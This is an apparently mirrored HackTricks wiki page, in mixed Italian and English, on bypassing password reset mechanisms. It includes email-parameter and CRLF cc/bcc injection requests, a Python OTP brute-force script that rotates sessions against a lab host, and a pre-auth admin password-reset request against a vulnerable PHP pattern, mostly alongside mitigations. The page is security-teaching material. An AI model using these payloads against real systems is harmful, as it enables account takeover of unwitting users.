mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
276 lines
12 KiB
Markdown
276 lines
12 KiB
Markdown
# Reset/Forgotten Password Bypass
|
|
|
|
{{#include ../banners/hacktricks-training.md}}
|
|
|
|
## **Password Reset Token Leak Via Referrer**
|
|
|
|
- L'header HTTP referer può esporre il token di password reset se è incluso nell'URL. Questo può accadere quando un utente clicca su un link di un sito di terze parti dopo aver richiesto un password reset.
|
|
- **Impact**: Potenziale takeover dell'account tramite Cross-Site Request Forgery (CSRF) attacks.
|
|
- **Exploitation**: Per verificare se un password reset token viene esposto nel referer header, **richiedi un password reset** al tuo indirizzo email e **clicca il reset link** fornito. **Non cambiare immediatamente la password**. Invece, **naviga su un sito di terze parti** (come Facebook o Twitter) mentre **intercetti le richieste usando Burp Suite**. Ispeziona le richieste per vedere se il **referer header contiene il password reset token**, poiché questo potrebbe esporre informazioni sensibili a terze parti.
|
|
- **References**:
|
|
- [HackerOne Report 342693](https://hackerone.com/reports/342693)
|
|
- [HackerOne Report 272379](https://hackerone.com/reports/272379)
|
|
- [Password Reset Token Leak Article](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a)
|
|
|
|
## **Password Reset Poisoning**
|
|
|
|
- Attackers may manipulate the Host header during password reset requests to point the reset link to a malicious site.
|
|
- **Impact**: Può portare a un potenziale takeover dell'account esponendo i reset token agli attacker.
|
|
- **Mitigation Steps**:
|
|
- Validare l'Host header contro una whitelist di domini consentiti.
|
|
- Usare metodi sicuri lato server per generare URL assoluti.
|
|
- **Patch**: Use `$_SERVER['SERVER_NAME']` to construct password reset URLs instead of `$_SERVER['HTTP_HOST']`.
|
|
- **References**:
|
|
- [Acunetix Article on Password Reset Poisoning](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
|
|
|
|
## **Password Reset By Manipulating Email Parameter**
|
|
|
|
Attackers can manipulate the password reset request by adding additional email parameters to divert the reset link.
|
|
|
|
- Aggiungi l'email dell'attacker come secondo parametro usando &
|
|
```php
|
|
POST /resetPassword
|
|
[...]
|
|
email=victim@email.com&email=attacker@email.com
|
|
```
|
|
- Aggiungi l'email dell'attaccante come secondo parametro usando %20
|
|
```php
|
|
POST /resetPassword
|
|
[...]
|
|
email=victim@email.com%20email=attacker@email.com
|
|
```
|
|
- Aggiungi l'email dell'attaccante come secondo parametro utilizzando |
|
|
```php
|
|
POST /resetPassword
|
|
[...]
|
|
email=victim@email.com|email=attacker@email.com
|
|
```
|
|
- Aggiungi l'email dell'attaccante come secondo parametro usando cc
|
|
```php
|
|
POST /resetPassword
|
|
[...]
|
|
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
|
|
```
|
|
- Aggiungi attacker email come secondo parametro usando bcc
|
|
```php
|
|
POST /resetPassword
|
|
[...]
|
|
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
|
|
```
|
|
- Aggiungi l'email dell'attaccante come secondo parametro usando ,
|
|
```php
|
|
POST /resetPassword
|
|
[...]
|
|
email="victim@mail.tld",email="attacker@mail.tld"
|
|
```
|
|
- Aggiungi l'email dell'attaccante come secondo parametro nell'array json
|
|
```php
|
|
POST /resetPassword
|
|
[...]
|
|
{"email":["victim@mail.tld","atracker@mail.tld"]}
|
|
```
|
|
- **Passi di mitigazione**:
|
|
- Analizzare e convalidare correttamente i parametri email lato server.
|
|
- Usare prepared statements o query parametrizzate per prevenire attacchi di injection.
|
|
- **Riferimenti**:
|
|
- [https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be)
|
|
- [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/)
|
|
- [https://twitter.com/HusseiN98D/status/1254888748216655872](https://twitter.com/HusseiN98D/status/1254888748216655872)
|
|
|
|
## **Modifica di email e password di qualsiasi utente tramite parametri API**
|
|
|
|
- Gli attaccanti possono modificare i parametri email e password nelle richieste API per cambiare le credenziali dell'account.
|
|
```php
|
|
POST /api/changepass
|
|
[...]
|
|
("form": {"email":"victim@email.tld","password":"12345678"})
|
|
```
|
|
- **Mitigation Steps**:
|
|
- Assicurarsi di effettuare una rigorosa validazione dei parametri e controlli di autenticazione.
|
|
- Implementare logging e monitoring robusti per rilevare e rispondere ad attività sospette.
|
|
- **Reference**:
|
|
- [Full Account Takeover via API Parameter Manipulation](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
|
|
|
|
## **No Rate Limiting: Email Bombing**
|
|
|
|
- La mancanza di rate limiting sulle richieste di password reset può portare a email bombing, sommergendo l'utente con email di reset.
|
|
- **Mitigation Steps**:
|
|
- Implementare rate limiting basato su indirizzo IP o account utente.
|
|
- Usare sfide CAPTCHA per prevenire abusi automatizzati.
|
|
- **References**:
|
|
- [HackerOne Report 280534](https://hackerone.com/reports/280534)
|
|
|
|
## **Find out How Password Reset Token is Generated**
|
|
|
|
- Capire il pattern o il metodo dietro la generazione del token può portare a prevedere o brute-forcing dei token. Alcune opzioni:
|
|
- Based Timestamp
|
|
- Based on the UserID
|
|
- Based on email of User
|
|
- Based on Firstname and Lastname
|
|
- Based on Date of Birth
|
|
- Based on Cryptography
|
|
- **Mitigation Steps**:
|
|
- Usare metodi crittografici forti per la generazione dei token.
|
|
- Garantire sufficiente entropia e lunghezza per prevenire prevedibilità.
|
|
- **Tools**: Use Burp Sequencer to analyze the randomness of tokens.
|
|
|
|
## **Guessable UUID**
|
|
|
|
- If UUIDs (version 1) are guessable or predictable, attackers may brute-force them to generate valid reset tokens. Check:
|
|
|
|
|
|
{{#ref}}
|
|
uuid-insecurities.md
|
|
{{#endref}}
|
|
|
|
- **Mitigation Steps**:
|
|
- Use GUID version 4 for randomness or implement additional security measures for other versions.
|
|
- **Tools**: Use [guidtool](https://github.com/intruder-io/guidtool) for analyzing and generating GUIDs.
|
|
|
|
## **Response Manipulation: Replace Bad Response With Good One**
|
|
|
|
- Manipulating HTTP responses to bypass error messages or restrictions.
|
|
- **Mitigation Steps**:
|
|
- Implement server-side checks to ensure response integrity.
|
|
- Use secure communication channels like HTTPS to prevent man-in-the-middle attacks.
|
|
- **Reference**:
|
|
- [Critical Bug in Live Bug Bounty Event](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
|
|
|
|
## **Using Expired Token**
|
|
|
|
- Testing whether expired tokens can still be used for password reset.
|
|
- **Mitigation Steps**:
|
|
- Implement strict token expiration policies and validate token expiry server-side.
|
|
|
|
## **Brute Force Password Reset Token**
|
|
|
|
- Attempting to brute-force the reset token using tools like Burpsuite and IP-Rotator to bypass IP-based rate limits.
|
|
- **Mitigation Steps**:
|
|
- Implement robust rate-limiting and account lockout mechanisms.
|
|
- Monitor for suspicious activities indicative of brute-force attacks.
|
|
|
|
## **Try Using Your Token**
|
|
|
|
- Testing if an attacker's reset token can be used in conjunction with the victim's email.
|
|
- **Mitigation Steps**:
|
|
- Ensure that tokens are bound to the user session or other user-specific attributes.
|
|
|
|
## **Session Invalidation in Logout/Password Reset**
|
|
|
|
- Ensuring that sessions are invalidated when a user logs out or resets their password.
|
|
- **Mitigation Steps**:
|
|
- Implement proper session management, ensuring that all sessions are invalidated upon logout or password reset.
|
|
|
|
## **Session Invalidation in Logout/Password Reset**
|
|
|
|
- Reset tokens should have an expiration time after which they become invalid.
|
|
- **Mitigation Steps**:
|
|
- Set a reasonable expiration time for reset tokens and strictly enforce it server-side.
|
|
|
|
## **OTP rate limit bypass by changing your session**
|
|
|
|
- If the website is using user session to track wrong OTP attempts and the OTP was weak ( <= 4 digits) then we can effectively bruteforce the OTP.
|
|
- **exploitation**:
|
|
- basta richiedere un nuovo session token dopo essere stati bloccati dal server.
|
|
- **Example** di codice che sfrutta questo bug indovinando casualmente l'OTP (quando cambi la sessione l'OTP cambierà anch'esso, e quindi non potremo fare brute-force sequenziale!):
|
|
|
|
``` python
|
|
# Authentication bypass by password reset
|
|
# by coderMohammed
|
|
import requests
|
|
import random
|
|
from time import sleep
|
|
|
|
headers = {
|
|
"User-Agent": "Mozilla/5.0 (iPhone14,3; U; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/19A346 Safari/602.1",
|
|
"Cookie": "PHPSESSID=mrerfjsol4t2ags5ihvvb632ea"
|
|
}
|
|
url = "http://10.10.12.231:1337/reset_password.php"
|
|
logout = "http://10.10.12.231:1337/logout.php"
|
|
root = "http://10.10.12.231:1337/"
|
|
|
|
parms = dict()
|
|
ter = 0
|
|
phpsessid = ""
|
|
|
|
print("[+] Starting attack!")
|
|
sleep(3)
|
|
print("[+] This might take around 5 minutes to finish!")
|
|
|
|
try:
|
|
while True:
|
|
parms["recovery_code"] = f"{random.randint(0, 9999):04}" # random number from 0 - 9999 with 4 d
|
|
parms["s"] = 164 # not important it only efects the frontend
|
|
res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers)
|
|
|
|
if ter == 8: # follow number of trails
|
|
out = requests.get(logout,headers=headers) # log u out
|
|
mainp = requests.get(root) # gets another phpssid (token)
|
|
|
|
cookies = out.cookies # extract the sessionid
|
|
phpsessid = cookies.get('PHPSESSID')
|
|
headers["cookies"]=f"PHPSESSID={phpsessid}" #update the headers with new session
|
|
|
|
reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # sends the email to change the password for
|
|
ter = 0 # reset ter so we get a new session after 8 trails
|
|
else:
|
|
ter += 1
|
|
if(len(res.text) == 2292): # this is the length of the page when u get the recovery code correctly (got by testing)
|
|
print(len(res.text)) # for debug info
|
|
print(phpsessid)
|
|
|
|
reset_data = { # here we will change the password to somthing new
|
|
"new_password": "D37djkamd!",
|
|
"confirm_password": "D37djkamd!"
|
|
}
|
|
reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers)
|
|
|
|
print("[+] Password has been changed to:D37djkamd!")
|
|
break
|
|
except Exception as e:
|
|
print("[+] Attck stopped")
|
|
```
|
|
|
|
## Arbitrary password reset via skipOldPwdCheck (pre-auth)
|
|
|
|
Alcune implementazioni espongono un'azione di cambio password che chiama la routine di change_password con skipOldPwdCheck=true e non verifica alcun reset token o ownership. Se l'endpoint accetta un parametro action come change_password e uno username/nuova password nel corpo della richiesta, un attaccante può resettare account arbitrari pre-auth.
|
|
|
|
Vulnerable pattern (PHP):
|
|
```php
|
|
// hub/rpwd.php
|
|
RequestHandler::validateCSRFToken();
|
|
$RP = new RecoverPwd();
|
|
$RP->process($_REQUEST, $_POST);
|
|
|
|
// modules/Users/RecoverPwd.php
|
|
if ($request['action'] == 'change_password') {
|
|
$body = $this->displayChangePwd($smarty, $post['user_name'], $post['confirm_new_password']);
|
|
}
|
|
|
|
public function displayChangePwd($smarty, $username, $newpwd) {
|
|
$current_user = CRMEntity::getInstance('Users');
|
|
$current_user->id = $current_user->retrieve_user_id($username);
|
|
// ... criteria checks omitted ...
|
|
$current_user->change_password('oldpwd', $_POST['confirm_new_password'], true, true); // skipOldPwdCheck=true
|
|
emptyUserAuthtokenKey($this->user_auth_token_type, $current_user->id);
|
|
}
|
|
```
|
|
Richiesta di Exploitation (concetto):
|
|
```http
|
|
POST /hub/rpwd.php HTTP/1.1
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
action=change_password&user_name=admin&confirm_new_password=NewP@ssw0rd!
|
|
```
|
|
Mitigazioni:
|
|
- Richiedere sempre un reset token valido e limitato nel tempo, vincolato all'account e alla sessione, prima di cambiare la password.
|
|
- Non esporre mai i percorsi skipOldPwdCheck ad utenti non autenticati; richiedere l'autenticazione per le normali modifiche della password e verificare la password precedente.
|
|
- Invalidare tutte le sessioni attive e i reset token dopo una modifica della password.
|
|
|
|
## Riferimenti
|
|
|
|
- [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)
|
|
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
|
|
|
|
{{#include ../banners/hacktricks-training.md}}
|